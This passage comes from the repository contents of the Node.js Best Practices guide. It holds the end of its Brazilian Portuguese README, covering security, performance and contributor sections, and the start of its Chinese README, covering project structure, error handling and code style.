módulos**](./sections/security/safemoduleloading.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Rode códigos não seguros em uma sandbox\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Quando a tarefa for executar código externo que é fornecido em tempo de execução (por exemplo, plug-in), use qualquer tipo de ambiente de execução 'sandbox' que isole e proteja o código principal em relação ao plug-in. Isso pode ser feito usando um processo dedicado (por exemplo, cluster.fork ()), ambiente serverless ou pacotes npm dedicados que atuam como uma sandbox.\n\n**Caso contrário:** Um plugin pode atacar através de uma infinita variedade de opções, como loops infinitos, sobrecarga de memória e acesso a variáveis sensíveis do ambiente de processo.\n\n🔗 [**Leia Mais: Rode códigos não seguros em uma sandbox**](./sections/security/sandbox.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Tome cuidado extra ao trabalhar com processos filhos\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Evite usar processos filhos quando possível e valide e limpe a entrada para mitigar os ataques de shell injection se ainda precisar. Prefira usar `child_process.execFile` que, por definição, só executará um único comando com um conjunto de atributos e não permitirá a expansão de parâmetros do shell.\n\n**Caso contrário:** O uso ingênuo de processos filhos pode resultar na execução de comandos remotos ou em ataques de shell injection, devido à entrada do usuário mal-intencionado passada para um comando do sistema não-autorizado.\n\n🔗 [**Leia Mais: Tenha cautela ao trabalhar com processos filhos**](./sections/security/childprocesses.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Oculte detalhes de erros dos usuários\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Um manipulador de erros integrado do express oculta os detalhes de erros por padrão. Entretanto, são grandes as chances de você implementar sua própria lógica para manipular erros com objetos de erro customizados (considerado por muitos, a melhor prática). Se você faz isso, tenha certeza de que não está retornando o objeto Error inteiro para o cliente, pois ele pode conter detalhes confidenciais da aplicação.\n\n**Caso contrário:** Detalhes confidenciais da aplicação como caminhos e arquivos do servidor, módulos de terceiros em uso e outros workflows internos da aplicação poderiam ser explorados e expostos por um invasor.\n\n🔗 [**Leia Mais: Oculte detalhes de erros dos usuários**](./sections/security/hideerrors.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Configure 2FA para o npm ou Yarn\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Qualquer passo na cadeia de desenvolvimento deve ser protegido com o MFA (multi-factor authentication, ou autenticação em várias etapas), e o npm / Yarn é uma boa oportunidade para os invasores poderem colocar as mãos na senha de algum desenvolvedor. Usando as credenciais de desenvolvedor, os invasores podem injetar código malicioso em bibliotecas que são amplamente instaladas em projetos e serviços. Talvez, até mesmo por toda a rede de internet, se publicado abertamente. Ativando a 2-factor-authentication (autenticação em duas etapas) no npm, reduz a quase zero as chances de invasores alterarem seu código.\n\n**Caso contrário:** [Você já ouviu falar sobre o desenvolvedor do eslint cuja senha foi hackeada?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Modifique as configurações do middleware de sessão\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Cada framework e tecnologia web tem seus pontos fracos conhecidos - dizer aos invasores qual framework utilizamos é uma grande ajuda para eles. Usar as configurações padrões para middlewares de sessão pode expor sua aplicação - e ataques específicos ao framework, semelhantes ao heade `X-Powered-By` header. Tente ocultar qualquer coisa que possa identificar ou revelar sua stack (por exemplo, Node.js, express).\n\n**Caso contrário:** Cookies podem ser enviados através de conexões não seguras, e um hacker pode usar a sessão do usuário para identificar o framework utilizado na aplicação, bem como vulnerabilidades específicas do módulo.\n\n🔗 [**Leia Mais: Segurança de cookies e sessões**](./sections/security/sessions.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Evite ataques do DOS definindo explicitamente quando um processo deve falhar\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** O processo do Node irá falhar quando os erros não forem tratados. Muitas boas práticas recomendam sair, mesmo que um erro tenha sido detectado e resolvido. O Express, por exemplo, irá falhar em qualquer erro assíncrono - a menos que você envolva rotas com uma cláusula catch. Isso abre um ponto de ataque muito fácil para os hackers que reconhecem qual entrada faz o processo falhar e enviam repetidamente o mesmo request. Não existe solução instantânea para isso, mas algumas técnicas podem aliviar a dor: Alertar com severidade crítica sempre que um processo falha devido a um erro não tratado, validar a entrada e evitar travar o processo devido à entrada inválida do usuário, envolver todas as rotas com uma cláusula catch e considerar não travar quando um erro é originado em uma solicitação o que acontece globalmente).\n\n**Caso contrário:** Este é apenas um palpite: dado muitos aplicações Node.js, se tentarmos passar um JSON vazio para todas as solicitações POST, um punhado de aplicações falhará. Nesse ponto, podemos apenas repetir o envio da mesma solicitação para derrubar as aplicações com facilidade.\n\n<br/><br/>\n\n## ![✔] 6.24. Impeça redirecionamentos não seguros\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Redirecionamentos que não validam a entrada do usuário podem permitir que invasores iniciem tentativas de phishing, roubem credenciais de usuários e executem outras ações mal-intencionadas.\n\n**Caso contrário:** Se um invasor descobrir que você não está validando informações externas fornecidas pelo usuário, ele poderá explorar essa vulnerabilidade postando links especialmente em fóruns, mídias sociais e outros locais públicos para que os usuários cliquem.\n\n🔗 [**Leia Mais: Impeça redirecionamentos não seguros**](./sections/security/saferedirects.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Evite publicar segredos no registro do npm\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20Ameaças%20OWASP%20-%20A6:Configuração%20Incorreta%20de%20Segurança%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Precauções devem ser tomadas para evitar o risco de publicação acidental de segredos nos registros públicos do npm. Um arquivo `.npmignore` pode ser usado para colocar arquivos ou pastas específicos em uma blacklist, ou a lista `files` no `package.json` pode atuar como uma whitelist.\n\n**Caso contrário:** As chaves, as senhas ou outros segredos da API do seu projeto estão sujeitos a abusos por qualquer pessoa que os encontre, o que pode resultar em perda financeira, falsificação de identidade e outros riscos.\n\n🔗 [**Leia Mais: Evite publicar segredos**](./sections/security/avoid_publishing_secrets.brazilian-portuguese.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#índice\">⬆ Voltar ao topo</a></p>\n\n# `7. Boas Práticas em Performance`\n\n## Nossos colaboradores estão trabalhando nesta seção. [Gostaria de participar?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n## ![✔] 7.1. Prefira métodos JS nativos ao invés de utilitários de usuário, como o Lodash\n\n**TL;DR:** Muitas vezes é mais complicado usar bibliotecas de utilitários como o `lodash` e `underscore` sobre os métodos nativos, pois leva a dependências desnecessárias e desempenho mais lento.\nTenha em mente que, com a introdução do novo motor V8 juntamente com os novos padrões ES, os métodos nativos foram aprimorados de tal forma que agora ele tem cerca de 50% a mais de desempenho que as bibliotecas de utilitários.\n\n**Caso contrário:** Você terá que manter projetos de menor desempenho onde você poderia simplesmente ter usado o que **já estava** disponível ou lidar com mais algumas linhas em troca de mais alguns arquivos.\n\n🔗 [**Leia Mais: Prefira métodos nativos ao invés de utilitários do usuário como Lodash**](./sections/performance/nativeoverutil.brazilian-portuguese.md)\n\n<br/><br/><br/>\n\n# Feitos\n\nPara manter este guia e deixá-lo atualizado, estamos constantemente atualizando e aprimorando as diretrizes e as práticas recomendadas com a ajuda da comunidade. Você pode acompanhar nossos [feitos](https://github.com/goldbergyoni/nodebestpractices/milestones) e se juntar aos grupos de trabalho, caso queira contribuir com este projeto.\n\n<br/>\n\n## Traduções\n\nTodas as traduções são contribuições da comunidade. Nós ficaremos felizes em obter ajuda com traduções concluídas, em andamento, ou mesmo com novas traduções!\n\n### Traduções concluídas\n\n- ![BR](./assets/flags/BR.png) [Português Brasileiro](./README.brazilian-portuguese.md) - Cortesia de [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinês](README.chinese.md) - Cortesia de [Matt Jin](https://github.com/mattjin)\n- ![EU](./assets/flags/EU.png) [Vasco](README.basque.md) - Cortesia de [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### Traduções em andamento\n\n- ![FR](./assets/flags/FR.png) [Francês](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Discussão](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Hebraico ([Discussão](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Coreano](https://github.com/goldbergyoni/nodebestpractices/blob/korean-translation/README.md) ([Discussão](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![RU](./assets/flags/RU.png) [Russo](https://github.com/goldbergyoni/nodebestpractices/blob/russian-translation/README.russian.md) ([Discussão](https://github.com/goldbergyoni/nodebestpractices/issues/454))\n- ![ES](./assets/flags/ES.png) [Espanhol](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussão](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turco ([Discussão](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Comitê Diretivo\n\nConheça os membros do comitê diretivo - as pessoas que trabalham juntas para fornecer orientação e direção futura para o projeto. Além disso, cada membro do comitê lidera um projeto rastreado em nossos [projetos do Github](https://github.com/goldbergyoni/nodebestpractices/projects).\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nConsultor de Node.js independente, que trabalha com clientes nos EUA, Europa e Israel, na criação de aplicações Node dimensionáveis em grande escala. Muitas das melhores práticas acima foram publicadas primeiro em um post em seu blog em [goldbergyoni.com](https://goldbergyoni.com). Encontre-o como @goldbergyoni ou me@goldbergyoni.com\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 full-stack web engineer e entusiasta de Node.js & GraphQL\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nFull Stack Developer e Engenheiro de Confiabilidade de Sites com sede na Nova Zelândia, interessados ​​em segurança de aplicativos da Web, e arquitetando e construindo aplicativos Node.js para executar em escala global.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nEspecialista profundo em JavaScript e seu ecossistema - React, Node.js, MongoDB, praticamente qualquer coisa que envolva o uso de JavaScript/JSON em qualquer camada do sistema - criando produtos usando a plataforma da web para as marcas mais reconhecidas do mundo. Membro individual da \"Node.js Foundation\", colaborando em \"Community Committee's Website Redesign Initiative\".\n\n<br/>\n\n## Colaboradores\n\nObrigado a todos nossos colaboradores! 🙏\n\nNossos colaboradores são membros que estão contribuindo com o repositório em base regular, sugerindo novas práticas recomendadas, triando problemas, analisando solicitações de pull e muito mais. Se você estiver interessado em nos ajudar a orientar milhares de pessoas a criar melhores aplicações Node.js, leia nossas [diretrizes de colaborador](./.operations/CONTRIBUTING.md) 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: |\n|                                    [Ido Richter (Founder)](https://github.com/idori)                                    |                                        [Keith Holliday](https://github.com/TheHollidayInn)                                         |\n\n### Colaboradores anteriores\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## Thank You Notes\n\nWe appreciate any contribution, from a single word fix to a new best practice. View our contributors and [contributing documentation here!](./README.md#contributors-)\n\n<br/><br/><br/>\n"
  },
  {
    "path": "README.chinese.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js 最佳实践\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\" />\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2082%20Best%20Practices-blue.svg\" alt=\"82 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20Jun%205%202019-green.svg\" alt=\"Last update: June 5, 2019\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2012.4.0%20LTS-brightgreen.svg\" alt=\"Updated for Node 12.4.0 LTS\"/>\n</div>\n\n<br/>\n\n [![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Follow us on Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\n <br/>\n\n# 欢迎! 首先您应该知道的三件事情\n\n**1. 当您读到这里，实际上您读了很多关于Node.js的优秀文章 -** 这是对Node.js最佳实践中排名最高的内容的总结和分享\n\n**2. 这里是最大的汇集，且每周都在增长 -** 当前，超过50个最佳实现，样式指南，架构建议已经呈现。每天都有新的issue和PR被创建，以使这本在线书籍不断更新。我们很乐于见到您能在这里做出贡献，不管是修复一些代码的错误，或是提出绝妙的新想法。请查看我们的[milestones](https://github.com/goldbergyoni/nodebestpractices/milestones?direction=asc&sort=due_date&state=open)\n\n**3. 大部分的条目包含额外的信息 -** 大部分的最佳实践条目的旁边，您将发现 **🔗Read More** 链接，它将呈现给您示例代码，博客引用和更多信息\n\n<br/><br/><br/>\n\n## [目录](#table-of-contents)\n\n1. [项目结构实践 (5) ](#1-project-structure-practices)\n2. [异常处理实践 (11) ](#2-error-handling-practices)\n3. [编码规范实践 (12) ](#3-code-style-practices)\n4. [测试和总体质量实践 (8) ](#4-testing-and-overall-quality-practices)\n5. [进入生产实践 (16) ](#5-going-to-production-practices)\n6. :star: 新: [安全实践(23)](#6-security-best-practices)\n7. Performance Practices ([coming soon](https://github.com/goldbergyoni/nodebestpractices/milestones?direction=asc&sort=due_date&state=open))\n\n<br/><br/><br/>\n<h1 id=\"1-project-structure-practices\"><code>1. 项目结构实践</code></h1>\n\n## ![✔] 1.1 组件式构建你的解决方案\n\n **TL;DR:** 大型项目的最坏的隐患就是维护一个庞大的，含有几百个依赖的代码库 - 当开发人员准备整合新的需求的时候，这样一个庞然大物势必减缓了开发效率。反之，把您的代码拆分成组件，每一个组件有它自己的文件夹和代码库，并且确保每一个组件小而简单。查看正确的项目结构的例子请访问下面的 ‘更多’ 链接。\n\n**否则:** 当编写新需求的开发人员逐步意识到他所做改变的影响，并担心会破坏其他的依赖模块 - 部署会变得更慢，风险更大。当所有业务逻辑没有被分开，这也会被认为很难扩展\n\n🔗 [**更多: 组件结构**](./sections/projectstructre/breakintcomponents.chinese.md)\n\n<br/><br/>\n\n## ![✔] 1.2 分层设计组件，保持Express在特定的区域\n\n**TL;DR:** 每一个组件都应该包含'层级' - 一个专注的用于接入网络，逻辑，数据的概念。这样不仅获得一个清晰的分离考量，而且使仿真和测试系统变得异常容易。尽管这是一个普通的模式，但接口开发者易于混淆层级关系，比如把网络层的对象（Express req, res）传给业务逻辑和数据层 - 这会令您的应用彼此依赖，并且只能通过Express使用。\n\n**否则:** 对于混淆了网络层和其它层的应用，将不易于测试，执行CRON的任务，其它非-Express的调用者无法使用\n\n🔗 [**更多: 应用分层**](./sections/projectstructre/createlayers.chinese.md)\n\n<br/><br/>\n\n## ![✔] 1.3 封装公共模块成为NPM的包\n\n**TL;DR:** 由大量代码构成的一个大型应用中，贯彻全局的，比如日志，加密和其它类似的公共组件，应该进行封装，并暴露成一个私有的NPM包。这将使其在更多的代码库和项目中被使用变成了可能。\n\n**否则:** 您将不得不重造部署和依赖的轮子\n\n🔗 [**更多: 通过需求构建**](./sections/projectstructre/wraputilities.chinese.md)\n\n<br/><br/>\n\n## ![✔] 1.4 分离 Express 'app' and 'server'\n\n**TL;DR:** 避免定义整个[Express](https://expressjs.com/)应用在一个单独的大文件里， 这是一个不好的习惯 - 分离您的 'Express' 定义至少在两个文件中： API声明(app.js) 和 网络相关(WWW)。对于更好的结构，是把你的API声明放在组件中。\n\n**否则:** 您的API将只能通过HTTP的调用进行测试（慢，并且很难产生测试覆盖报告）。维护一个有着上百行代码的文件也不是一个令人开心的事情。\n\n🔗 [**更多: 分离 Express 'app' and 'server'**](./sections/projectstructre/separateexpress.chinese.md)\n\n<br/><br/>\n\n## ![✔] 1.5 使用易于设置环境变量，安全和分级的配置\n\n**TL;DR:** 一个完美无瑕的配置安装应该确保 (a) 元素可以从文件中，也可以从环境变量中读取 (b) 密码排除在提交的代码之外 (c) 为了易于检索，配置是分级的。仅有几个包可以满足这样的条件，比如[rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) 和 [convict](https://www.npmjs.com/package/convict)。\n\n**否则:** 不能满足任意的配置要求将会使开发，运维团队，或者两者，易于陷入泥潭。\n\n🔗 [**更多: 配置最佳实践**](./sections/projectstructre/configguide.chinese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ 返回顶部</a></p>\n\n<h1 id=\"2-error-handling-practices\"><code>2. 错误处理最佳实践</code></h1>\n\n## ![✔] 2.1  使用 Async-Await 和 promises 用于异步错误处理\n\n**TL;DR:** 使用回调的方式处理异步错误可能是导致灾难的最快的方式(a.k.a the pyramid of doom)。对您的代码来说，最好的礼物就是使用规范的promise库或async-await来替代，这会使其像try-catch一样更加简洁，具有熟悉的代码结构。\n\n**否则:** Node.js回调特性, function(err, response), 是导致不可维护代码的一个必然的方式。究其原因，是由于混合了随意的错误处理代码，臃肿的内嵌，蹩脚的代码模式。\n\n🔗 [**更多: 避免回调**](./sections/errorhandling/asyncerrorhandling.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.2 仅使用内建的错误对象\n\n**TL;DR:** 很多人抛出异常使用字符串类型或一些自定义类型 - 这会导致错误处理逻辑和模块间的调用复杂化。是否您reject一个promise，抛出异常或发出(emit)错误 - 使用内建的错误对象将会增加设计一致性，并防止信息的丢失。\n\n**否则:** 调用某些模块，将不确定哪种错误类型会返回 - 这将会使恰当的错误处理更加困难。更坏的情况是，使用特定的类型描述错误，会导致重要的错误信息缺失，比如stack trace！\n\n🔗 [**更多: 使用内建错误对象**](./sections/errorhandling/useonlythebuiltinerror.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.3 区分运行错误和程序设计错误\n\n**TL;DR:** 运行错误（例如, API接受到一个无效的输入）指的是一些已知场景下的错误，这类错误的影响已经完全被理解，并能被考虑周全的处理掉。同时，程序设计错误（例如，尝试读取未定义的变量）指的是未知的编码问题，影响到应用得当的重启。\n\n**否则:** 当一个错误产生的时候，您总是得重启应用，但为什么要让 ~5000 个在线用户不能访问，仅仅是因为一个细微的，可以预测的，运行时错误？相反的方案，也不完美 – 当未知的问题（程序问题）产生的时候，使应用依旧可以访问，可能导致不可预测行为。区分两者会使处理更有技巧，并在给定的上下文下给出一个平衡的对策。\n\n🔗 [**更多: 运行错误和程序设计错误**](./sections/errorhandling/operationalvsprogrammererror.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.4 集中处理错误，不要在Express中间件中处理错误\n\n**TL;DR:** 错误处理逻辑，比如给管理员发送邮件，日志应该封装在一个特定的，集中的对象当中，这样当错误产生的时候，所有的终端（例如 Express中间件，cron任务，单元测试）都可以调用。\n\n**否则:** 错误处理的逻辑不放在一起将会导致代码重复和非常可能不恰当的错误处理。\n\n🔗 [**更多: 集中处理错误**](./sections/errorhandling/centralizedhandling.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.5 对API错误使用Swagger文档化\n\n**TL;DR:** 让你的API调用者知道哪种错误会返回，这样他们就能完全的处理这些错误，而不至于系统崩溃。Swagger，REST API的文档框架，通常处理这类问题。\n\n**否则:** 任何API的客户端可能决定崩溃并重启，仅仅因为它收到一个不能处理的错误。注意：API的调用者可能是你（在微服务环境中非常典型）。\n\n🔗 [**更多: 使用Swagger记录错误**](./sections/errorhandling/documentingusingswagger.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.6 当一个特殊的情况产生，停掉服务是得体的\n\n**TL;DR:** 当一个不确定错误产生（一个开发错误，最佳实践条款#3) - 这就意味着对应用运转健全的不确定。一个普通的实践将是建议仔细地重启进程，并使用一些‘启动器’工具，比如Forever和PM2。\n\n**否则:** 当一个未知的异常被抛出，意味着某些对象包含错误的状态（例如某个全局事件发生器由于某些内在的错误，不在产生事件），未来的请求可能失败或者行为异常。\n\n🔗 [**更多: 停掉服务**](./sections/errorhandling/shuttingtheprocess.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.7 使用一个成熟的日志工具提高错误的可见性\n\n**TL;DR:** 一系列成熟的日志工具，比如Winston，Bunyan和Log4J，会加速错误的发现和理解。忘记console.log吧。\n\n**否则:** 浏览console的log，和不通过查询工具或者一个好的日志查看器，手动浏览繁琐的文本文件，会使你忙于工作到很晚。\n\n🔗 [**更多: 使用好用的日志工具**](./sections/errorhandling/usematurelogger.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.8 使用你最喜欢的测试框架测试错误流\n\n**TL;DR:** 无论专业的自动化测试或者简单的手动开发测试 - 确保您的代码不仅满足正常的场景，而且处理并且返回正确的错误。测试框架，比如Mocha & Chai可以非常容易的处理这些问题（在\"Gist popup\"中查看代码实例） 。\n\n**否则:** 没有测试，不管自动还是手动，您不可能依赖代码去返回正确的错误。而没有可以理解的错误，那将毫无错误处理可言。\n\n🔗 [**更多: 测试错误流向**](./sections/errorhandling/testingerrorflows.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.9 使用APM产品发现错误和宕机时间\n\n**TL;DR:** 监控和性能产品 (别名 APM) 先前一步的检测您的代码库和API，这样他们能自动的，像使用魔法一样的强调错误，宕机和您忽略的性能慢的部分。\n\n**否则:** 您花了很多的力气在测量API的性能和错误，但可能您从来没有意识到真实场景下您最慢的代码块和他们对UX的影响。\n\n🔗 [**更多: 使用APM产品**](./sections/errorhandling/apmproducts.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.10 捕获未处理的promise rejections\n\n**TL;DR:** 任何在promise中被抛出的异常将被收回和遗弃，除非开发者没有忘记去明确的处理。即使您的代码调用的是process.uncaughtException！解决这个问题可以注册到事件process.unhandledRejection。\n\n**否则:** 您的错误将被回收，无踪迹可循。没有什么可以需要考虑。\n\n🔗 [**更多: 捕获未处理的promise rejection**](./sections/errorhandling/catchunhandledpromiserejection.chinese.md)\n\n<br/><br/>\n\n## ![✔] 2.11 快速查错，验证参数使用一个专门的库\n\n**TL;DR:** 这应该是您的Express最佳实践中的一部分 – assert API输入避免难以理解的漏洞，这类漏洞以后会非常难以追踪。而验证代码通常是一件乏味的事情，除非使用一些非常炫酷的帮助库比如Joi。\n\n**否则:** 考虑这种情况 – 您的功能期望一个数字参数 “Discount” ，然而调用者忘记传值，之后在您的代码中检查是否 Discount!=0 （允许的折扣值大于零），这样它将允许用户使用一个折扣。OMG，多么不爽的一个漏洞。你能明白吗？\n\n🔗 [**更多: 快速查错**](./sections/errorhandling/failfast.chinese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ 返回顶部</a></p>\n\n<h1 id=\"3-code-style-practices\"><code>3. 编码风格实践</code></h1>\n\n## ![✔] 3.1 使用ESLint\n\n**TL;DR:** [ESLint](https://eslint.org)是检查可能的代码错误和修复代码样式的事实上的标准，不仅可以识别实际的间距问题, 而且还可以检测严重的反模式代码, 如开发人员在不分类的情况下抛出错误。尽管ESlint可以自动修复代码样式，但其他的工具比如[prettier](https://www.npmjs.com/package/prettier)和[beautify](https://www.npmjs.com/package/js-beautify)在格式化修复上功能强大，可以和Eslint结合起来使用。\n\n**否则:** 开发人员将必须关注单调乏味的间距和线宽问题, 并且时间可能会浪费在过多考虑项目的代码样式。\n\n<br/><br/>\n\n## ![✔] 3.2 Node.js特定的插件\n\n**TL;DR:** 除了仅仅涉及 vanilla JS 的 ESLint 标准规则，添加 Node 相关的插件，比如[eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) and [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security)\n\n**否则:** 许多错误的Node.js代码模式可能在检测下逃生。例如，开发人员可能需要某些文件，把一个变量作为路径名 (variableAsPath) ，这会导致攻击者可以执行任何JS脚本。Node.JS linters可以检测这类模式，并及早预警。\n\n<br/><br/>\n\n## ![✔] 3.3 在同一行开始一个代码块的大括号\n\n**TL;DR:** 代码块的第一个大括号应该和声明的起始保持在同一行中。\n\n### 代码示例\n\n```javascript\n  // 建议\n  function someFunction() {\n    // 代码块\n  }\n\n  // 避免\n  function someFunction()\n  {\n    // 代码块\n  }\n```\n\n**否则:** 不遵守这项最佳实践可能导致意外的结果，在Stackoverflow的帖子中可以查看到，如下：\n\n🔗 [**更多:** \"Why does a results vary based on curly brace placement?\" (Stackoverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 不要忘记分号\n\n**TL;DR:** 即使没有获得一致的认同，但在每一个表达式后面放置分号还是值得推荐的。这将使您的代码, 对于其他阅读代码的开发者来说，可读性，明确性更强。\n\n**否则:** 在前面的章节里面已经提到，如果表达式的末尾没有添加分号，JavaScript的解释器会在自动添加一个，这可能会导致一些意想不到的结果。\n\n<br/><br/>\n\n## ![✔] 3.5 命名您的方法\n\n**TL;DR:** 命名所有的方法，包含闭包和回调, 避免匿名方法。当剖析一个node应用的时候，这是特别有用的。命名所有的方法将会使您非常容易的理解内存快照中您正在查看的内容。\n\n**否则:** 